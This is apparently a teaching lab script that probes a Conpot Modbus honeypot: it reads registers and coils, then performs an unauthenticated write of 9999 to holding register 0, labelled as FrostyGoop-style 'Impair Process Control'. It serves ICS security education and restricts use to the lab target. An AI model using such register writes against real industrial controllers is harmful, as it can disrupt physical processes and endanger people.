#!/usr/bin/env python3
"""
Lab 20.5 - Modbus honeypot probe script (pymodbus 3.x API)
Target: Conpot container at 172.30.20.10:502 (or override via env MODBUS_HOST/PORT)

Usage (inside ch20-tools container):
    python3 /scripts/lab20_5_probe.py

Safety: only run against the provided lab target (conpot container) or a
system/network you own and are authorised to test.
"""

import os
import sys
import time

MODBUS_HOST = os.environ.get("MODBUS_HOST", "172.30.20.10")
MODBUS_PORT = int(os.environ.get("MODBUS_PORT", "502"))

try:
    from pymodbus.client import ModbusTcpClient
except ImportError:
    print("ERROR: pymodbus not installed. Run: pip install pymodbus")
    sys.exit(1)


def main():
    print(f"[*] Connecting to Modbus/TCP honeypot at {MODBUS_HOST}:{MODBUS_PORT}")
    c = ModbusTcpClient(MODBUS_HOST, port=MODBUS_PORT)
    if not c.connect():
        print("[-] Connection failed - is conpot running? (docker compose up -d conpot)")
        sys.exit(1)
    print("[+] Connected")

    # --- Reconnaissance: read holding registers (FC 03) ---
    print("\n[*] Step 1: Read holding registers 0-9 (FC 03 - reconnaissance)")
    rr = c.read_holding_registers(0, count=10)
    if rr.isError():
        print(f"  Read error: {rr}")
    else:
        print(f"  Registers 0-9: {rr.registers}")
        print("  ATT&CK for ICS: Collection / Discovery (passive read, no state change)")

    time.sleep(0.5)

    # --- Read coils (FC 01) ---
    print("\n[*] Step 2: Read coils 0-7 (FC 01 - reconnaissance)")
    rc = c.read_coils(0, count=8)
    if rc.isError():
        print(f"  Read error: {rc}")
    else:
        print(f"  Coils 0-7: {rc.bits[:8]}")

    time.sleep(0.5)

    # --- Controlled write: write single register (FC 06) ---
    print("\n[*] Step 3: Write single register (FC 06 - Impair Process Control)")
    print("  Writing value 9999 to holding register 0 ...")
    wr = c.write_register(0, 9999)
    if wr.isError():
        print(f"  Write error: {wr}")
    else:
        print("  Write succeeded - this is the FrostyGoop behaviour: unauthenticated")
        print("  register write with no credential anywhere in the Modbus frame.")
        print("  ATT&CK for ICS: Impair Process Control (TA0106)")

    time.sleep(0.5)

    # --- Verify write took effect ---
    print("\n[*] Step 4: Re-read register 0 to confirm write")
    rr2 = c.read_holding_registers(0, count=1)
    if not rr2.isError():
        print(f"  Register 0 is now: {rr2.registers[0]}")

    c.close()
    print("\n[*] Done. Review Conpot logs: docker logs ch20-conpot")
    print(
        "[!] Note: Conpot is a honeypot emulator. No real PLC was modified. "
        "Run this only against this lab target or a system you own."
    )


if __name__ == "__main__":
    main()
